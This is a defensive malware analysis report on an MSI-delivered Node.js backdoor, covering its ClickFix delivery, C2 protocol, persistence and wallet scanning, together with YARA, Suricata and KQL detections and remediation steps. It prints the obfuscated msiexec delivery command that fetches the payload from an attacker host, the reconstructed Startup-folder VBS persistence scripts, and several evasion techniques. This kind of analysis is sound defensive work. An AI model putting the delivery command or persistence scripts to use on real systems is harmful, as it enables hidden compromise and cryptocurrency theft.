“Azure30” Node.js Backdoor Delivered by a Trojanized MSI

1 Executive summary

A Windows Installer package presenting itself as “User Workspace Tools” by “Workspace Apps” installs a remote-access backdoor written in Node.js. The package bundles its own signed Node.js runtime, so the malicious logic is entirely JavaScript — 31 heavily obfuscated modules — which traditional executable-focused tools rarely inspect.

Once installed, the backdoor hides itself across three AppData folders, profiles the host, and registers with its operators over an unencrypted WebSocket connection to usatraksell[.]net on port 443. It reports the machine’s identity, domain membership, and which of 82 cryptocurrency wallets are present, then waits for instructions. Ten minutes after first run it installs logon persistence through the user’s Startup folder.

The operators can open a live PowerShell or cmd shell, browse and steal files, take screenshots, download and run further malware, silently install other MSI packages, and execute arbitrary JavaScript. Every time it connects, the agent also downloads and runs an operator-supplied script from the C2 server — the stage that would perform the actual theft is therefore not present in the installer and can change at any time.

Delivery. In an intrusion observed on 7 October 2026, a ClickFix lure persuaded a Windows user to paste an msiexec command into the Run dialog, which silently installed an MSI from usaclodconfig[.]net. CORVINater assesses that the package was likely this backdoor or a sibling build (section 2). Resetting credentials does not remove the implant; the device itself must be investigated.

Key findings

Risk rating

2 Observed delivery: ClickFix (7 October 2026)

In an intrusion observed on 7 October 2026 at 22:13 UTC, the Azure30 installer was delivered through ClickFix: a web page shows a fake “verify you are human” check or error message and instructs the visitor to press Win+R and paste a command that the page has already placed on the clipboard. The pasted command used msiexec to silently download and install a Windows Installer package from usaclodconfig[.]net.

2.1 Timeline

2.2 Delivery command

The command pasted into the Run dialog (the URL’s numeric ver value is withheld):

msiexec /PᵃᶜkAᵍe "http://usaclodconfig[.]net\lnegraverif.php?ver=<id>" -Q

• /PᵃᶜkAᵍe is the /package switch written with Unicode modifier letters (ᵃ, ᶜ, ᵍ) so that exact-string detections for msiexec /package do not match; Windows still accepts it.
• -Q makes the install fully silent. Because the Azure30 package installs per user, no elevation prompt appears and nothing is shown on screen.
• The package is served from a PHP endpoint with a numeric parameter, which lets the operators rotate builds, and possibly track victims, per request.
• Windows records the pasted command in the RunMRU registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU), a durable forensic artifact of ClickFix execution.

2.3 Delivery infrastructure

2.4 Link to the analysed MSI

Assessment: likely (moderate confidence) that this ClickFix delivery served the Azure30 backdoor or a sibling build. Folder names, C2, and token are generated per build, so a copy served at another time may differ from the analysed sample.

2.5 Implications for responders

• Credential resets do not remove the implant. The agent runs in the user’s Windows session and talks directly to its own C2; it does not use cloud identity tokens. Password changes and session revocation are necessary but not sufficient.
• Identity sign-in logs will not show its use. The operators work from the infected device itself, so an absence of suspicious sign-ins elsewhere does not mean the implant is inactive.
• Network isolation pauses, but does not remove, the implant. Isolation blocks traffic but does not necessarily stop the process. The agent writes its Startup-folder persistence ten minutes after it starts, so it is likely to be on disk and will reconnect when isolation ends or at the next logon.
• Whether the payload ran is answerable from endpoint telemetry. The installer and agent leave distinctive process, file, and network traces; use the queries below and the indicators in section 12.

2.6 Hunting queries for ClickFix delivery

Microsoft Defender XDR advanced-hunting templates. Set the start time and, to scope to one device, the device name:

let start = datetime(2026-10-07 00:00:00);
// 1. msiexec installing from a URL typed or pasted into the Run dialog
DeviceRegistryEvents
| where Timestamp > start and RegistryKey has @"\Explorer\RunMRU"
| where RegistryValueData has "msiexec" and RegistryValueData has "http"
| project Timestamp, DeviceName, RegistryValueData

// 2. Connections to the delivery host
DeviceNetworkEvents
| where Timestamp > start
| where RemoteIP == "23.94.145.92" or RemoteUrl has "usaclodconfig"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl

// 3. The installer starting node.exe, and the agent or VBS launcher
DeviceProcessEvents
| where Timestamp > start
| where (FileName =~ "node.exe" and (InitiatingProcessFileName =~ "msiexec.exe" or FolderPath has @"\AppData\"))
     or (FileName =~ "wscript.exe" and ProcessCommandLine has "//B" and ProcessCommandLine has @"\AppData\Local\")
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName

// 4. Files the implant writes (folder names vary per build)
DeviceFileEvents
| where Timestamp > start
| where FileName in~ ("launch.js", "install-meta.json", "agent-id.txt", "connect-delay-state.json")
     or (FolderPath has @"\Start Menu\Programs\Startup\" and FileName endswith ".vbs")
| project Timestamp, DeviceName, ActionType, FolderPath, FileName, SHA256

// 5. C2 and public-IP lookups by node.exe
DeviceNetworkEvents
| where Timestamp > start
| where InitiatingProcessFileName =~ "node.exe" and RemoteUrl has_any ("usatraksell", "shift-api-control", "dibardo", "ipify")

3 Sample overview

Package contents

4 Analysis methodology

The sample was analyzed with the CORVIN Specter platform and manual reverse engineering. No component of the malware was executed outside disposable virtual machines. Delivery details in section 2 come from endpoint telemetry of one observed intrusion.

Static analysis

• Windows Installer tables (CustomAction, Property, Directory, File, InstallExecuteSequence) were read with msitools, and the embedded CAB payload was unpacked with original paths.
• All 31 JavaScript modules were deobfuscated statically: the obfuscator’s string table, rotation routine, and decoder were evaluated in an empty sandbox with no file, network, or process access, and 1,100 encoded strings were substituted back into the code. The result was reviewed line by line (Figure 3).
• The configuration file was decrypted with the build seed recovered from install-meta.json; the persistence scripts were reconstructed from the malware’s own generator code.
• Extracted files were scanned with local intelligence (MalwareBazaar, VirusShare, NSRL, ClamAV, YARA Forge). No known-malware match was found :: this build is not in public hash sets.

Dynamic analysis

The MSI was detonated in a disposable Windows 11 x64 virtual machine (KVM) with Sysmon, process and socket snapshots, packet capture, and a continuous screen recording. The VM was connected to CORVIN’s simulated internet: a sealed network that answers every DNS name and every connection locally and records it, with no route to the real internet, the LAN, or the analysis host. This allowed the backdoor’s C2 registration to be captured in full.

5 Infection chain

• Install. msiexec installs 2,297 files to %LOCALAPPDATA%\BronzeMauve\Azure30\ without elevation. The package’s finishing action, CA64_evpgbd, uses the WiX WixQuietExec64 helper to run the bundled node.exe on launch.js --setup --start with no window.
• Scatter. launch.js loads FlaxVioletMaroon.js, which moves the runtime, code, and configuration into three new AppData folders, deletes everything else in the install folder, and records the new locations in install-meta.json (section 6).
• Start. The launcher spawns the agent CrimsonSilverDenim.js as a detached, hidden node.exe and exits within a second, leaving the agent without a living parent process.
• Single instance. The agent claims the named pipe \\.\pipe\wra-<24 hex> (SHA-256 of the install path) and a .agent-instance.lock file, so only one copy runs.
• Profile and check in. It reads the MachineGuid and domain membership through PowerShell, looks up its public IP at api.ipify.org, opens the WebSocket to the C2, sends register, and downloads the operator script.
• Persist. Ten minutes after first run (AUTOSTART_DELAY_MS = 600000) it writes the Startup-folder VBS chain (section 7).

Observed timeline (run 246669ec)

6 Installation and file-system footprint

Folder names are not fixed: they are chosen at build time and stored in install-meta.json. In this build the manifest, rewritten after the scatter step, reads:

{
  "folderName": "Azure30",
  "taskName": "Azure30Note",
  "entryScript": "CrimsonSilverDenim.js",
  "configStore": "IndigoLime.cfg",
  "launcherVbs": "EcruGarnet.vbs",
  "startupVbs": "AzureCopper.vbs",
  "buildSeed": "0f463b62c2",
  "autostart": true,
  "scatter": {
    "paths": {
      "anchor": "C:\\Users\\analyst\\AppData\\Local\\BronzeMauve\\Azure30",
      "runtime": "C:\\Users\\analyst\\AppData\\Roaming\\JadeLilac\\Lilac",
      "app": "C:\\Users\\analyst\\AppData\\Roaming\\KhakiAmber",
      "config": "C:\\Users\\analyst\\AppData\\Roaming\\KhakiAmber",
      "tools": "C:\\Users\\analyst\\AppData\\Local\\Cerulean"
    }
  }
}

7 Persistence

Persistence is deliberately delayed by ten minutes, which defeats sandboxes with short observation windows (CORVIN’s own five-minute runs did not reach it). The agent writes two small VBS files:

• %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\AzureCopper.vbs — runs wscript.exe //B //Nologo on the hidden launcher with window style 0.
• %LOCALAPPDATA%\Cerulean\EcruGarnet.vbs — checks that node.exe and launch.js exist, then starts them hidden.

The exact file contents, regenerated from the malware’s own code for this build, are in Appendix B. Variable names inside the scripts are pseudo-random per build, so detections should key on locations and behaviour (wscript //B launching an AppData .vbs from a Startup item), not on content hashes.

The scheduled-task name Azure30Note appears in the manifest but is only ever deleted (schtasks /Delete) — clean-up from older versions of the tool. The agent also removes legacy launchers such as WinAgent.exe, CaptureScreen.exe, run-agent.cmd, and start-agent.vbs, which indicates a family with several prior releases.

8 Command and control

Configuration

IndigoLime.cfg is Base64 text XOR-encrypted with the build seed 0f463b62c2 (key = the seed’s UTF-8 bytes, repeating). Decrypted:

{
  "token": "f84ee2ce545c4a96a1ffa89fae89c0c0",
  "heartbeatIntervalMs": 720000,
  "reconnectDelayMs": 900000,
  "reconnectBackoffMaxMs": 900000,
  "staleWatchdogMs": 1020000,
  "registerAckTimeoutMs": 30000,
  "staleWatchdogIntervalMs": 60000,
  "panelUrl": "ws://usatraksell.net:443",
  "reportClientIp": true
}

Protocol

Blockchain dead-drop resolver

The module CeruleanMaroonRuby.js can obtain the C2 address from an Ethereum-compatible smart contract by calling eth_call with function selectors 0x4ab7874e (primary URL) and 0xd3505b89 (fallback URL) through a configured JSON-RPC endpoint, retrying every 15 minutes. This lets the operators relocate their servers by updating the contract, without shipping a new build. The feature is present but not enabled in this build’s configuration. A table left in SepiaFuchsia.js maps five contract addresses to fallback servers and links this build to earlier ones:

Open-source context: shift-api-control[.]com is flagged malicious by 12 of 89 engines on VirusTotal and was first observed on 23 September 2026 (PhishDestroy). No public reporting was found for usatraksell[.]net or dibardo[.]net.

9 Capabilities

10 Crypto-wallet targeting

The wallet_scan routine does not itself copy wallet data. It checks %APPDATA% for 37 desktop-wallet folders and walks nine browser profile trees for 45 wallet-extension IDs, then returns the names and full paths to the operators as wallet_report. This lets the operators triage victims by value; theft then follows through the files command (base64 download of up to 50 MB per file), eval, or the operator script.

11 Sandbox evidence

11.1 Process activity

11.2 Captured C2 registration

The registration contains the host’s stable identifier (<hostname>-<first 12 hex of MachineGuid>), MachineGuid, user name, domain or workgroup, local IP, memory, CPU count, and uptime. The public IP is added when the api.ipify.org lookup succeeds (reportClientIp: true).

11.3 What the user sees

11.4 Sandbox detection and platform improvements

The first sandbox run scored the sample 0/100. Investigation found three platform gaps, all since corrected in CORVIN:

• Sysmon log overflow. Sysmon wrote 316,356 records in ten minutes and its circular log overwrote the installation events before collection. The log is now enlarged per run, read throughout the run, and checked for wrapping.
• Orphaned process. The launcher detaches the agent and exits within a second, which broke process attribution. Process creations are now followed live from Sysmon.
• No installer inspection. MSI tables and embedded files were not examined. CORVIN now resolves custom-action command lines, flags bundled interpreters, per-user AppData installs, and obfuscated scripts, and scans the unpacked payload.

The simulated internet also gained full WebSocket support, which is how the registration in Figure 11 was captured.

12 Indicators of compromise

Network

Host

Files

Hashes of every agent module are listed in Appendix D.

13 MITRE ATT&CK mapping

14 Detection and hunting

YARA (validated)

The following rules were tested against the MSI and its 2,297 unpacked files (5 true positives: the MSI, two agent modules, and the two launcher files) and against 30,165 benign JavaScript files and binaries, including the bundled Node.js runtime, npm, ws, and node-pty, with no false positives.

/*
   CORVINater — Node.js "win-agent-client" backdoor (Azure30 build)
   Report CVR-2026-1008-01 · TLP:CLEAR
   Tested: matches the MSI dropper and the unpacked agent modules; no matches
   in the bundled Node.js runtime, npm, node-pty, or ws packages.
*/
rule CORVINater_WinAgent_JS_Core
{
    meta:
        description = "Node.js win-agent-client backdoor: WebSocket C2 core, command handlers, or remote-script loader"
        author = "CORVINater"
        date = "2026-10-08"
        reference = "CVR-2026-1008-01"
    strings:
        $tok   = "X-Agent-Token" ascii
        $s1    = "wallet_report" ascii
        $s2    = "av_report" ascii
        $s3    = "register_ack" ascii
        $s4    = "/api/agent/script" ascii
        $s5    = "winagent-deploy" ascii
        $s6    = "agent-dl-" ascii
        $s7    = "AGENT_ANCHOR" ascii
        $s8    = "downgradeMistakenWss" ascii
        $s9    = "wra-ps-" ascii
    condition:
        filesize < 200KB and ($tok and 1 of ($s*)) or 3 of ($s*)
}

rule CORVINater_WinAgent_Scatter_Launcher
{
    meta:
        description = "win-agent-client launcher / scatter stage (launch.js, scatterLayout module)"
        author = "CORVINater"
        date = "2026-10-08"
        reference = "CVR-2026-1008-01"
    strings:
        $a = "runScatterIfNeeded" ascii
        $b = "resolveLayoutPaths" ascii
        $c = "scatterLayout" ascii
        $d = "AGENT_ANCHOR" ascii
        $e = "connect-delay-state.json" ascii
        $f = "wallet-check-state.json" ascii
    condition:
        filesize < 50KB and 3 of them
}

rule CORVINater_WinAgent_MSI_Dropper
{
    meta:
        description = "MSI that runs a bundled node.exe on launch.js --setup --start via a WiX quiet-exec custom action"
        author = "CORVINater"
        date = "2026-10-08"
        reference = "CVR-2026-1008-01"
    strings:
        $ole  = { D0 CF 11 E0 A1 B1 1A E1 }
        $cmd  = "runtime\\node.exe\" \"[INSTALLFOLDER]launch.js\" --setup --start" ascii
        $wix1 = "WixQuietExec64CmdLine" ascii
        $wix2 = "WixQuietExecCmdLine" ascii
    condition:
        $ole at 0 and $cmd and 1 of ($wix*)
}

Network detection (template)

Untested template for Suricata-compatible sensors; adjust variables to your environment.

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CORVINater WinAgent WebSocket C2 registration (X-Agent-Token)"; flow:established,to_server; http.header_names; content:"X-Agent-Token"; nocase; http.header; content:"websocket"; nocase; classtype:trojan-activity; sid:9260101; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CORVINater WinAgent operator script fetch"; flow:established,to_server; http.uri; content:"/api/agent/script"; endswith; http.header_names; content:"X-Agent-Token"; nocase; classtype:trojan-activity; sid:9260102; rev:1;)
alert dns $HOME_NET any -> any any (msg:"CORVINater WinAgent C2 domain lookup"; dns.query; content:"usatraksell.net"; nocase; endswith; classtype:trojan-activity; sid:9260103; rev:1;)

Endpoint hunting (template)

Untested Microsoft Defender XDR (KQL) templates:

// node.exe running from a per-user AppData folder with a .js argument
DeviceProcessEvents
| where FileName =~ "node.exe" and FolderPath has_any (@"\AppData\Roaming\", @"\AppData\Local\")
| where ProcessCommandLine has ".js" and not(FolderPath has_any ("Microsoft VS Code", "nodejs"))
| project Timestamp, DeviceName, AccountName, FolderPath, ProcessCommandLine, InitiatingProcessFileName

// Startup-folder VBS that launches another AppData VBS hidden
DeviceFileEvents
| where FolderPath has @"\Start Menu\Programs\Startup\" and FileName endswith ".vbs"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessCommandLine

// msiexec custom action starting node.exe
DeviceProcessEvents
| where FileName =~ "node.exe" and InitiatingProcessFileName =~ "msiexec.exe"
| where ProcessCommandLine has "--setup"

Behavioural detections

• msiexec.exe (custom-action server) spawning node.exe, python.exe, or another bundled interpreter.
• node.exe spawning cmd.exe /d /s /c powershell.exe … MachineGuid or … Win32_ComputerSystem within a minute of start.
• wscript.exe //B //Nologo launched from a Startup-folder .vbs with an %LOCALAPPDATA% argument.
• Named pipes matching wra-[0-9a-f]{24}.
• WebSocket upgrade requests to port 443 without TLS.

15 Response and remediation

Containment

• Isolate affected hosts from the network (EDR isolation or switch port).
• Block the domains in section 12 at DNS, proxy, and firewall, and alert on any further lookups.
• Capture volatile evidence before cleaning: process list, install-meta.json, the KhakiAmber folder, and Sysmon/EDR telemetry.

Eradication

• Terminate node.exe processes running from %APPDATA%\JadeLilac\Lilac\.
• Delete the Startup item AzureCopper.vbs and %LOCALAPPDATA%\Cerulean\.
• Delete %APPDATA%\JadeLilac\, %APPDATA%\KhakiAmber\, and %LOCALAPPDATA%\BronzeMauve\ (use the scatter.paths from install-meta.json for other builds).
• Uninstall “User Workspace Tools” from Apps & Features, or remove it by UpgradeCode.
• Check %TEMP% for winagent-deploy\, agent-dl-*, and wra-* artifacts, which indicate additional payloads were delivered; investigate anything found.
• Because operators had interactive access, re-imaging the host is the safest option.

Recovery

• Move cryptocurrency from any wallet present on the host to new wallets created on a clean device; do not reuse seed phrases.
• Rotate passwords, session tokens, and MFA secrets used in browsers on the host; revoke active sessions.
• Review the host’s user account for access to other systems during the infection window.

Prevention

• Restrict per-user MSI installation (DisableUserInstalls policy) and application allow-listing for AppData.
• Alert on interpreters (node.exe, python.exe) executing from user profile folders.
• Inspect cleartext WebSocket traffic on port 443 at the proxy.

16 Limitations and open questions

• Second stage not obtained. The theft logic is served from /api/agent/script and was not retrieved; doing so requires contacting live attacker infrastructure, which was not authorized for this analysis.
• Persistence derived from code. Sandbox windows ended before the 10-minute persistence delay; the persistence files were reconstructed from the malware’s own generator and should be confirmed with a longer run.
• Contract discovery inactive. The blockchain resolver is disabled in this configuration; the current contents of the listed contracts were not queried.
• Attribution. No public reporting links this tool to a named actor. German installer strings and per-campaign tokens suggest a commercial or crimeware toolkit used by multiple operators; this is an assessment, not a finding.
• Initial access. ClickFix delivery was observed on 7 October 2026. The link between that delivery and this exact build is an assessment; a hash of the package served in that intrusion has not been compared.
• Delivery data. Section 2 is based on endpoint telemetry from one observed intrusion supplied to CORVINater; it was not collected independently.

Appendix A Decrypted configuration and registration

A.1 IndigoLime.cfg (decrypted)

{
  "token": "f84ee2ce545c4a96a1ffa89fae89c0c0",
  "heartbeatIntervalMs": 720000,
  "reconnectDelayMs": 900000,
  "reconnectBackoffMaxMs": 900000,
  "staleWatchdogMs": 1020000,
  "registerAckTimeoutMs": 30000,
  "staleWatchdogIntervalMs": 60000,
  "panelUrl": "ws://usatraksell.net:443",
  "reportClientIp": true
}

A.2 Registration message (run 246669ec)

{
  "type": "register",
  "agent": {
    "id": "DESKTOP-JM9U3AJ-0cc4fcf908f0",
    "machineGuid": "0cc4fcf9-08f0-4666-8831-49950c3dae95",
    "hostname": "DESKTOP-JM9U3AJ",
    "platform": "win32",
    "arch": "x64",
    "username": "analyst",
    "uptime": 89.5,
    "totalMemory": 8519073792,
    "freeMemory": 5882142720,
    "cpus": 2,
    "inDomain": false,
    "adDomain": null,
    "workgroup": "WORKGROUP",
    "localIp": "10.66.0.147",
    "shellV2": true,
    "agentVersion": 2,
    "panelUrl": null
  },
  "token": "f84ee2ce545c4a96a1ffa89fae89c0c0"
}

Appendix B Reconstructed persistence scripts

Generated by running only the malware’s VBS generator (SlateSilver.js) in an isolated sandbox with this build’s seed and paths.

' ===== C:\Users\analyst\AppData\Local\Cerulean\EcruGarnet.vbs
Dim jexsgafh, mnbjtpk, zumybal, qdxgal
Set jexsgafh = CreateObject("Scripting.FileSystemObject")
Set mnbjtpk = CreateObject("WScript.Shell")
zumybal = "C:\Users\analyst\AppData\Roaming\JadeLilac\Lilac\node.exe"
qdxgal = "C:\Users\analyst\AppData\Local\BronzeMauve\Azure30\launch.js"
If jexsgafh.FileExists(zumybal) And jexsgafh.FileExists(qdxgal) Then
  mnbjtpk.Run Chr(34) & zumybal & Chr(34) & " " & Chr(34) & qdxgal & Chr(34), 0, False
End If

' ===== %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\AzureCopper.vbs
Dim ijgcdwy, wxwprzkbho, yuzgzev
Set ijgcdwy = CreateObject("WScript.Shell")
wxwprzkbho = "C:\Windows\System32\wscript.exe"
yuzgzev = "C:\Users\analyst\AppData\Local\Cerulean\EcruGarnet.vbs"
ijgcdwy.Run Chr(34) & wxwprzkbho & Chr(34) & " //B //Nologo " & Chr(34) & yuzgzev & Chr(34), 0, False

Appendix C Module map

Appendix D File hashes

— End of report —